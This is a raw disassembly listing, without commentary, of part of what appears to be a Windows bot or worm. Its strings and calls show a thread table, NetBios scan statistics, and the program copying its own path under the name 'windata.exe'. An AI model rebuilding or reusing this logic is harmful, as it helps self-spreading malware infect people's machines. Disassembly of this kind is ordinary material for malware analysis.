loc_40ADDD: ; CODE XREF: sub_40AD00+BAj xor eax, eax cmp [ebp+arg_C], eax pop ecx jbe short loc_40ADF9 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_40ADEB: ; CODE XREF: sub_40AD00+F7j mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_40ADEB loc_40ADF9: ; CODE XREF: sub_40AD00+E3j mov eax, [ebp+var_4] pop edi pop ebx loc_40ADFE: ; CODE XREF: sub_40AD00+5Ej pop esi leave retn sub_40AD00 endp ; =============== S U B R O U T I N E ======================================= sub_40AE01 proc near ; CODE XREF: sub_40AE18+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40ABED push eax call sub_40ACE5 add esp, 0Ch retn sub_40AE01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE18 proc near ; CODE XREF: seg000:00410AB1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_40AE01 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_40AE38 cmp eax, 0FFFFh jbe short loc_40AE3C loc_40AE38: ; CODE XREF: sub_40AE18+17j xor eax, eax jmp short loc_40AE81 ; --------------------------------------------------------------------------- loc_40AE3C: ; CODE XREF: sub_40AE18+1Ej push esi push edi push ebx call sub_40ABED add eax, 101h push eax call sub_41E5D3 add esp, 0Ch push edi push ebx push edi push ebx mov esi, eax call sub_40ABED pop ecx pop ecx push eax push esi call sub_40AC0D push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_40AD00 push esi mov edi, eax call sub_41E2A1 add esp, 24h mov eax, edi pop esi loc_40AE81: ; CODE XREF: sub_40AE18+22j pop edi pop ebx pop ebp retn sub_40AE18 endp ; =============== S U B R O U T I N E ======================================= sub_40AE85 proc near ; CODE XREF: sub_40274D+6E4p ; sub_40274D+91Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_4442E8 loc_40AE8D: ; CODE XREF: sub_40AE85+18j cmp byte ptr [eax], 0 jz short loc_40AEA1 add eax, 234h inc edi cmp eax, offset dword_4D12E8 jl short loc_40AE8D jmp short loc_40AEEC ; --------------------------------------------------------------------------- loc_40AEA1: ; CODE XREF: sub_40AE85+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_4442E8[esi] push eax call sub_41E860 mov eax, [esp+14h+arg_4] and ds:dword_4444EC[esi], 0 mov ds:dword_4444E8[esi], eax mov eax, [esp+14h+arg_8] add esp, 0Ch and ds:dword_4444F0[esi], 0 mov ds:dword_4444F4[esi], eax mov ds:byte_444500[esi], 0 pop esi loc_40AEEC: ; CODE XREF: sub_40AE85+1Aj mov eax, edi pop edi retn sub_40AE85 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push dword ptr [ebp+10h] push offset dword_432844 push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40123B add esp, 14h xor edi, edi mov esi, offset dword_4442E8 loc_40AF1A: ; CODE XREF: seg000:0040AF68j cmp byte ptr [esi], 0 jz short loc_40AF5B cmp dword ptr [ebp+14h], 0 jnz short loc_40AF2E cmp dword ptr [esi+204h], 0 jnz short loc_40AF5B loc_40AF2E: ; CODE XREF: seg000:0040AF23j push esi push edi lea eax, [ebp-200h] push offset aD_S ; "%d. %s" push eax call sub_41E6A6 push 1 push dword ptr [ebp+10h] lea eax, [ebp-200h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40123B add esp, 24h loc_40AF5B: ; CODE XREF: seg000:0040AF1Dj ; seg000:0040AF2Cj add esi, 234h inc edi cmp esi, offset dword_4D12E8 jl short loc_40AF1A pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_40AF6E proc near ; CODE XREF: sub_40274D+779Bp ; sub_40AFF6+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40AFF0 cmp esi, 400h jge short loc_40AFF0 imul esi, 234h push edi push ebx lea edi, dword_4444FC[esi] push dword ptr [edi] call ds:dword_42B028 ; TerminateThread cmp [edi], ebx jz short loc_40AFA0 inc ebp loc_40AFA0: ; CODE XREF: sub_40AF6E+2Fj mov [edi], ebx lea edi, dword_4444F0[esi] mov eax, [edi] cmp eax, ebx mov ds:dword_4444E8[esi], ebx mov ds:dword_4444EC[esi], ebx jbe short loc_40AFC1 push eax call sub_41C736 pop ecx loc_40AFC1: ; CODE XREF: sub_40AF6E+4Aj mov [edi], ebx lea edi, dword_4444F4[esi] push dword ptr [edi] mov byte ptr ds:dword_4442E8[esi], bl mov ds:byte_444500[esi], bl call ds:dword_444218 ; closesocket lea esi, dword_4444F8[esi] push dword ptr [esi] mov [edi], ebx call ds:dword_444218 ; closesocket mov [esi], ebx pop edi loc_40AFF0: ; CODE XREF: sub_40AF6E+Dj ; sub_40AF6E+15j pop esi mov eax, ebp pop ebp pop ebx retn sub_40AF6E endp ; =============== S U B R O U T I N E ======================================= sub_40AFF6 proc near ; CODE XREF: seg000:00401127p ; sub_40274D+2D10p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_4442E8 loc_40B002: ; CODE XREF: sub_40AFF6+2Aj cmp byte ptr [esi], 0 jz short loc_40B013 push edi call sub_40AF6E test eax, eax pop ecx jz short loc_40B013 inc ebx loc_40B013: ; CODE XREF: sub_40AFF6+Fj ; sub_40AFF6+1Aj add esi, 234h inc edi cmp esi, offset dword_4D12E8 jl short loc_40B002 pop edi pop esi mov eax, ebx pop ebx retn sub_40AFF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B028 proc near ; CODE XREF: sub_40274D+3E9Bp ; sub_40274D+3FE3p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_4444EC loc_40B03C: ; CODE XREF: sub_40B028+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B05E test edi, edi jle short loc_40B050 cmp [esi], edi jz short loc_40B050 cmp ebx, edi jnz short loc_40B05E loc_40B050: ; CODE XREF: sub_40B028+1Ej ; sub_40B028+22j push ebx call sub_40AF6E test eax, eax pop ecx jz short loc_40B05E inc [ebp+var_4] loc_40B05E: ; CODE XREF: sub_40B028+1Aj ; sub_40B028+26j ... add esi, 234h inc ebx cmp esi, offset dword_4D14EC jl short loc_40B03C mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B028 endp ; =============== S U B R O U T I N E ======================================= sub_40B075 proc near ; CODE XREF: sub_40274D+896p ; sub_40274D+1B5Fp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_4444E8 loc_40B07C: ; CODE XREF: sub_40B075+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B085 inc eax loc_40B085: ; CODE XREF: sub_40B075+Dj add ecx, 234h cmp ecx, offset dword_4D14E8 jl short loc_40B07C retn sub_40B075 endp ; =============== S U B R O U T I N E ======================================= sub_40B094 proc near ; CODE XREF: sub_40274D+2210p arg_0 = dword ptr 4 xor eax, eax xor edx, edx mov ecx, offset dword_4444E8 push esi loc_40B09E: ; CODE XREF: sub_40B094+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B0B7 add ecx, 234h inc edx cmp ecx, offset dword_4D14E8 jl short loc_40B09E pop esi retn ; --------------------------------------------------------------------------- loc_40B0B7: ; CODE XREF: sub_40B094+10j mov eax, edx pop esi retn sub_40B094 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B0BB proc near ; CODE XREF: sub_40274D+10CEp ; sub_40274D+10E9p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B0D4 push [ebp+arg_1C] call sub_41E7AD pop ecx loc_40B0D4: ; CODE XREF: sub_40B0BB+Ej push eax push [ebp+arg_18] call sub_40B028 test eax, eax pop ecx pop ecx jle short loc_40B100 push eax push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41E6A6 add esp, 14h jmp short loc_40B11A ; --------------------------------------------------------------------------- loc_40B100: ; CODE XREF: sub_40B0BB+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41E6A6 add esp, 10h loc_40B11A: ; CODE XREF: sub_40B0BB+43j cmp [ebp+arg_C], 0 jnz short loc_40B13A push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40123B add esp, 14h loc_40B13A: ; CODE XREF: sub_40B0BB+63j lea eax, [ebp+var_200] push eax call sub_417D70 pop ecx leave retn sub_40B0BB endp ; =============== S U B R O U T I N E ======================================= sub_40B149 proc near ; CODE XREF: sub_4025EF+14Cp ; seg000:004133CAp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] imul eax, 234h xor ecx, ecx mov ds:dword_4444FC[eax], ecx mov ds:dword_4444E8[eax], ecx mov ds:dword_4444EC[eax], ecx mov ds:dword_4444F0[eax], ecx mov ds:dword_4444F4[eax], ecx mov ds:dword_4444F8[eax], ecx mov byte ptr ds:dword_4442E8[eax], cl mov ds:byte_444500[eax], cl retn sub_40B149 endp ; --------------------------------------------------------------------------- aUnlMbS db 'Ul$Œì˜',0 ; DATA XREF: sub_40274D+275Fo align 10h dd 7C458B00h, 266A5756h, 8DF08B59h, 0A5F3DC7Dh, 0C76475FFh dd 9480h, 100h, 6875FF00h, 50E0458Dh, 0E8DC75FFh, 0FFFFFD34h dd 0E86075FFh, 0FFFFFF85h, 6A14C483h, 6815FF00h, 0CC0042B0h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B1D0 proc near ; CODE XREF: sub_40B264+41p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] mov ecx, [edx] push edi xor edi, edi and [ebp+var_8], edi xor eax, eax inc eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B1F1 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B1F1: ; CODE XREF: sub_40B1D0+19j push ebx push esi loc_40B1F3: ; CODE XREF: sub_40B1D0+77j mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B201 cmp [ebp+var_4], eax jnz short loc_40B249 loc_40B201: ; CODE XREF: sub_40B1D0+2Aj test edi, edi jnz short loc_40B23E cmp bl, 2Dh jnz short loc_40B232 lea esi, [ecx+1] mov cl, [ecx-1] mov al, [esi] cmp cl, al jge short loc_40B232 cmp al, 5Dh jz short loc_40B232 cmp [ebp+var_4], edi jnz short loc_40B232 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B23E cmp bl, al jg short loc_40B23E mov [edx], esi jmp short loc_40B23B ; --------------------------------------------------------------------------- loc_40B232: ; CODE XREF: sub_40B1D0+38j ; sub_40B1D0+44j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B23E loc_40B23B: ; CODE XREF: sub_40B1D0+60j xor edi, edi inc edi loc_40B23E: ; CODE XREF: sub_40B1D0+33j ; sub_40B1D0+58j ... inc dword ptr [edx] and [ebp+var_4], 0 xor eax, eax inc eax jmp short loc_40B1F3 ; --------------------------------------------------------------------------- loc_40B249: ; CODE XREF: sub_40B1D0+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B256 mov ecx, eax sub ecx, edi mov edi, ecx loc_40B256: ; CODE XREF: sub_40B1D0+7Ej cmp edi, eax jnz short loc_40B25F mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B25F: ; CODE XREF: sub_40B1D0+88j mov eax, edi pop edi leave retn sub_40B1D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B264 proc near ; CODE XREF: sub_40274D+7A0Fp ; sub_40B2F8+65p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor eax, eax push esi mov esi, [ebp+arg_0] inc eax jmp short loc_40B2C6 ; --------------------------------------------------------------------------- loc_40B270: ; CODE XREF: sub_40B264+66j cmp eax, 1 jnz short loc_40B2D7 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B2D7 cmp cl, 2Ah jz short loc_40B2AF cmp cl, 3Fh jz short loc_40B294 cmp cl, 5Bh jz short loc_40B299 xor eax, eax cmp cl, dl setz al loc_40B294: ; CODE XREF: sub_40B264+22j inc [ebp+arg_4] jmp short loc_40B2C2 ; --------------------------------------------------------------------------- loc_40B299: ; CODE XREF: sub_40B264+27j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] inc esi push eax mov [ebp+arg_0], esi call sub_40B1D0 mov esi, [ebp+arg_0] jmp short loc_40B2C0 ; --------------------------------------------------------------------------- loc_40B2AF: ; CODE XREF: sub_40B264+1Dj lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B2F8 mov esi, [ebp+arg_0] dec esi loc_40B2C0: ; CODE XREF: sub_40B264+49j pop ecx pop ecx loc_40B2C2: ; CODE XREF: sub_40B264+33j inc esi mov [ebp+arg_0], esi loc_40B2C6: ; CODE XREF: sub_40B264+Aj mov cl, [esi] test cl, cl jnz short loc_40B270 jmp short loc_40B2D7 ; --------------------------------------------------------------------------- loc_40B2CE: ; CODE XREF: sub_40B264+76j cmp eax, 1 jnz short loc_40B2F3 inc esi mov [ebp+arg_0], esi loc_40B2D7: ; CODE XREF: sub_40B264+Fj ; sub_40B264+18j ... cmp byte ptr [esi], 2Ah jz short loc_40B2CE cmp eax, 1 jnz short loc_40B2F3 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B2F3 cmp byte ptr [esi], 0 jnz short loc_40B2F3 xor eax, eax inc eax jmp short loc_40B2F5 ; --------------------------------------------------------------------------- loc_40B2F3: ; CODE XREF: sub_40B264+6Dj ; sub_40B264+7Bj ... xor eax, eax loc_40B2F5: ; CODE XREF: sub_40B264+8Dj pop esi pop ebp retn sub_40B264 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2F8 proc near ; CODE XREF: sub_40B264+53p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] inc dword ptr [esi] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 xor ebx, ebx jmp short loc_40B327 ; --------------------------------------------------------------------------- loc_40B312: ; CODE XREF: sub_40B2F8+35j mov cl, [eax] cmp cl, 3Fh jz short loc_40B323 cmp cl, 2Ah jnz short loc_40B32F cmp cl, 3Fh jnz short loc_40B325 loc_40B323: ; CODE XREF: sub_40B2F8+1Fj inc dword ptr [edi] loc_40B325: ; CODE XREF: sub_40B2F8+29j inc dword ptr [esi] loc_40B327: ; CODE XREF: sub_40B2F8+18j mov ecx, [edi] cmp [ecx], bl mov eax, [esi] jnz short loc_40B312 loc_40B32F: ; CODE XREF: sub_40B2F8+24j cmp byte ptr [eax], 2Ah jnz short loc_40B33E loc_40B334: ; CODE XREF: sub_40B2F8+44j inc eax mov ecx, eax mov [esi], eax cmp byte ptr [ecx], 2Ah jz short loc_40B334 loc_40B33E: ; CODE XREF: sub_40B2F8+3Aj mov ecx, [edi] mov dl, [ecx] cmp dl, bl jnz short loc_40B35B cmp [eax], bl jz short loc_40B34E xor eax, eax jmp short loc_40B3C0 ; --------------------------------------------------------------------------- loc_40B34E: ; CODE XREF: sub_40B2F8+50j cmp dl, bl jnz short loc_40B35B cmp [eax], bl jnz short loc_40B35B xor eax, eax inc eax jmp short loc_40B3C0 ; --------------------------------------------------------------------------- loc_40B35B: ; CODE XREF: sub_40B2F8+4Cj ; sub_40B2F8+58j ... push ecx push eax call sub_40B264 test eax, eax pop ecx pop ecx jnz short loc_40B3AA loc_40B368: ; CODE XREF: sub_40B2F8+B0j inc dword ptr [edi] mov ecx, [esi] mov eax, [edi] mov cl, [ecx] cmp cl, [eax] jz short loc_40B38C loc_40B374: ; CODE XREF: sub_40B2F8+92j mov ecx, [esi] cmp byte ptr [ecx], 5Bh jz short loc_40B38C cmp [eax], bl jz short loc_40B3A1 inc eax mov [edi], eax mov ecx, [esi] mov cl, [ecx] mov edx, eax cmp cl, [edx] jnz short loc_40B374 loc_40B38C: ; CODE XREF: sub_40B2F8+7Aj ; sub_40B2F8+81j cmp [eax], bl jz short loc_40B3A1 push eax push dword ptr [esi] call sub_40B264 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B3A6 ; --------------------------------------------------------------------------- loc_40B3A1: ; CODE XREF: sub_40B2F8+85j ; sub_40B2F8+96j mov [ebp+var_4], ebx xor eax, eax loc_40B3A6: ; CODE XREF: sub_40B2F8+A7j cmp eax, ebx jnz short loc_40B368 loc_40B3AA: ; CODE XREF: sub_40B2F8+6Ej mov eax, [edi] cmp [eax], bl jnz short loc_40B3BD mov eax, [esi] cmp [eax], bl jnz short loc_40B3BD mov [ebp+var_4], 1 loc_40B3BD: ; CODE XREF: sub_40B2F8+B6j ; sub_40B2F8+BCj mov eax, [ebp+var_4] loc_40B3C0: ; CODE XREF: sub_40B2F8+54j ; sub_40B2F8+61j pop edi pop esi pop ebx leave retn sub_40B2F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B3C5 proc near ; CODE XREF: sub_40274D+28E2p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_4328B8 push eax xor ebx, ebx call sub_41E6A6 cmp ds:dword_43D880, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B438 push esi mov esi, offset dword_43D888 loc_40B3F8: ; CODE XREF: sub_40B3C5+70j cmp dword ptr [esi], 0 jbe short loc_40B42E mov eax, [esi] push eax add ebx, eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_4328AC push eax call sub_41E6A6 push edi lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push eax call sub_41F2C0 add esp, 1Ch loc_40B42E: ; CODE XREF: sub_40B3C5+36j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B3F8 pop esi loc_40B438: ; CODE XREF: sub_40B3C5+2Bj push ds:dword_4D1FD0 call sub_41D5F8 push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41E6A6 push edi lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push eax call sub_41F2C0 push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40123B lea eax, [ebp+var_200] push eax call sub_417D70 add esp, 38h pop edi pop ebx leave retn sub_40B3C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B494 proc near ; CODE XREF: sub_40274D+28CFp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, ds:dword_4D400C mov ecx, ds:dword_4D4008 push esi push ds:dword_4D1FD0 lea esi, [ecx+eax] call sub_41D5F8 push eax push esi push ds:dword_4D400C lea eax, [ebp+var_200] push ds:dword_4D4008 push offset unk_4328D8 push eax call sub_41E6A6 push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40123B lea eax, [ebp+var_200] push eax call sub_417D70 add esp, 34h pop esi leave retn sub_40B494 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4FF proc near ; CODE XREF: sub_40274D+28BCp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push ds:dword_4D1FD0 call sub_41D5F8 push eax push ds:dword_4D5258 lea eax, [ebp+var_200] push offset unk_432920 push eax call sub_41E6A6 push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40123B lea eax, [ebp+var_200] push eax call sub_417D70 add esp, 2Ch leave retn sub_40B4FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B553 proc near ; CODE XREF: sub_40274D+28A9p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41EA20 push edi lea eax, [ebp+var_800] push offset dword_43296C push eax call sub_41E6A6 cmp ds:dword_43D880, 0 pop ecx pop ecx mov edi, 800h jz short loc_40B5BF push esi mov esi, offset aNetbios ; "NetBios" loc_40B588: ; CODE XREF: sub_40B553+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_43295C push eax call sub_41E6A6 push edi lea eax, [ebp+var_1000] push eax lea eax, [ebp+var_800] push eax call sub_41F2C0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40B588 pop esi loc_40B5BF: ; CODE XREF: sub_40B553+2Dj push ds:dword_4D1FD0 call sub_41D5F8 push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41E6A6 push edi lea eax, [ebp+var_1000] push eax lea eax, [ebp+var_800] push eax call sub_41F2C0 push 0 push [ebp+arg_8] lea eax, [ebp+var_800] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40123B lea eax, [ebp+var_800] push eax call sub_417D70 add esp, 34h pop edi leave retn sub_40B553 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B619 proc near ; CODE XREF: sub_40274D+2224p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B075 test eax, eax pop ecx jle short loc_40B655 mov eax, [ebp+arg_C] push ds:dword_4D1FF0[eax*8] call ds:dword_444188 ; inet_ntoa push eax lea eax, [ebp+var_200] push offset unk_4329A8 push eax call sub_41E6A6 add esp, 0Ch jmp short loc_40B668 ; --------------------------------------------------------------------------- loc_40B655: ; CODE XREF: sub_40B619+13j lea eax, [ebp+var_200] push offset unk_432988 push eax call sub_41E6A6 pop ecx pop ecx loc_40B668: ; CODE XREF: sub_40B619+3Aj push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40123B lea eax, [ebp+var_200] push eax call sub_417D70 add esp, 18h leave retn sub_40B619 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+138h] cmp eax, 0FFFFFFFFh jz locret_40BB49 push ebx shl eax, 6 xor ebx, ebx cmp ds:dword_43D88C[eax], ebx jz loc_40BB48 push esi push 5 call sub_40B075 test eax, eax pop ecx jnz loc_40B90A mov eax, ds:dword_43C074 push edi push 104h mov esi, offset dword_4D470C push esi push ebx mov ds:dword_4D491C, eax mov ds:dword_4D4918, ebx call ds:dword_42B00C ; GetModuleFileNameA push 103h mov edi, offset aWindata_exe ; "windata.exe" push edi push offset dword_4D4810 call sub_41E860 mov eax, [ebp+118h] add esp, 0Ch cmp [ebp+98h], bl mov ds:dword_4D4708, eax mov eax, [ebp+140h] mov ds:dword_4D49A0, eax push 7Fh jnz short loc_40B740 lea eax, [ebp+18h] push eax push offset dword_4D4920 call sub_41E860 mov ds:dword_4D49A4, 1 jmp short loc_40B757 ; --------------------------------------------------------------------------- loc_40B740: ; CODE XREF: seg000:0040B724j lea eax, [ebp+98h] push eax push offset dword_4D4920 call sub_41E860 mov ds:dword_4D49A4, ebx loc_40B757: ; CODE XREF: seg000:0040B73Ej add esp, 0Ch push esi push ds:dword_4D491C lea eax, [ebp-204h] push offset unk_42F120 push eax call sub_41E6A6 push ebx lea eax, [ebp-204h] push 5 push eax call sub_40AE85 add esp, 1Ch mov ds:dword_4D4914, eax lea eax, [ebp-4] push eax push ebx push offset dword_4D4708 push offset aUnlMb ; "Ul$Œì|\b" push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, ds:dword_4D4914 imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz loc_40B85B call ds:dword_42B01C ; RtlGetLastWin32Error push eax lea eax, [ebp-204h] push offset dword_432AC8 push eax call sub_41E6A6 add esp, 0Ch loc_40B7D5: ; CODE XREF: seg000:0040B863j lea eax, [ebp-204h] push eax call sub_417D70 mov eax, ds:dword_4D1FE4 mov dword ptr [esp], 104h mov esi, offset dword_4D4464 push esi push ebx mov ds:dword_4D4674, eax mov ds:dword_4D4670, ebx call ds:dword_42B00C ; GetModuleFileNameA push 103h push edi push offset dword_4D4568 call sub_41E860 mov eax, [ebp+118h] add esp, 0Ch cmp [ebp+98h], bl mov ds:dword_4D4460, eax mov eax, [ebp+140h] pop edi mov ds:dword_4D46F8, eax push 7Fh jnz short loc_40B868 lea eax, [ebp+18h] push eax push offset dword_4D4678 call sub_41E860 mov ds:dword_4D46FC, 1 jmp short loc_40B87F ; --------------------------------------------------------------------------- loc_40B853: ; CODE XREF: seg000:0040B861j push 32h call ds:dword_42B014 ; Sleep loc_40B85B: ; CODE XREF: seg000:0040B7B4j cmp ds:dword_4D49A8, ebx jz short loc_40B853 jmp loc_40B7D5 ; --------------------------------------------------------------------------- loc_40B868: ; CODE XREF: seg000:0040B837j lea eax, [ebp+98h] push eax push offset dword_4D4678 call sub_41E860 mov ds:dword_4D46FC, ebx loc_40B87F: ; CODE XREF: seg000:0040B851j add esp, 0Ch push esi push ds:dword_4D4674 lea eax, [ebp-204h] push offset unk_432A94 push eax call sub_41E6A6 push ebx lea eax, [ebp-204h] push 4 push eax call sub_40AE85 add esp, 1Ch mov ds:dword_4D466C, eax lea eax, [ebp-4] push eax push ebx push offset dword_4D4460 push offset aUnlMbP ; "Ul$Œìp\n" push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, ds:dword_4D466C imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz loc_40B983 call ds:dword_42B01C ; RtlGetLastWin32Error push eax lea eax, [ebp-204h] push offset unk_432A60 push eax call sub_41E6A6 add esp, 0Ch loc_40B8FD: ; CODE XREF: seg000:0040B98Bj lea eax, [ebp-204h] push eax call sub_417D70 pop ecx loc_40B90A: ; CODE XREF: seg000:0040B6C5j mov eax, [ebp+138h] mov ecx, eax shl ecx, 6 cmp ds:dword_43D894[ecx], ebx jz loc_40BA37 push 7 call sub_40B075 test eax, eax pop ecx jnz loc_40BA31 cmp [ebp+98h], bl mov eax, ds:dword_4D525C mov ds:dword_4D43CC, eax mov eax, [ebp+118h] mov ds:dword_4D43C0, eax mov eax, [ebp+140h] mov ds:dword_4D43C8, ebx mov ds:dword_4D4450, eax push 7Fh jnz short loc_40B990 lea eax, [ebp+18h] push eax push offset dword_4D43D0 call sub_41E860 mov ds:dword_4D4454, 1 jmp short loc_40B9A7 ; --------------------------------------------------------------------------- loc_40B97B: ; CODE XREF: seg000:0040B989j push 32h call ds:dword_42B014 ; Sleep loc_40B983: ; CODE XREF: seg000:0040B8DCj cmp ds:dword_4D4700, ebx jz short loc_40B97B jmp loc_40B8FD ; --------------------------------------------------------------------------- loc_40B990: ; CODE XREF: seg000:0040B95Fj lea eax, [ebp+98h] push eax push offset dword_4D43D0 call sub_41E860 mov ds:dword_4D4454, ebx loc_40B9A7: ; CODE XREF: seg000:0040B979j add esp, 0Ch push ds:dword_4D43CC lea eax, [ebp-204h] push offset unk_432A30 push eax call sub_41E6A6 push ebx lea eax, [ebp-204h] push 7 push eax call sub_40AE85 add esp, 18h mov ds:dword_4D43C4, eax lea eax, [ebp-4] push eax push ebx push offset dword_4D43C0 push offset word_411722 push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, ds:dword_4D43C4 imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz loc_40BB53 call ds:dword_42B01C ; RtlGetLastWin32Error push eax lea eax, [ebp-204h] push offset unk_4329F8 push eax call sub_41E6A6 add esp, 0Ch loc_40BA24: ; CODE XREF: seg000:0040BB5Bj lea eax, [ebp-204h] push eax call sub_417D70 pop ecx loc_40BA31: ; CODE XREF: seg000:0040B92Bj mov eax, [ebp+138h] loc_40BA37: ; CODE XREF: seg000:0040B91Bj shl eax, 6 cmp ds:dword_43D890[eax], ebx jz loc_40BB47 push 3 call sub_40B075 test eax, eax pop ecx jnz loc_40BB47 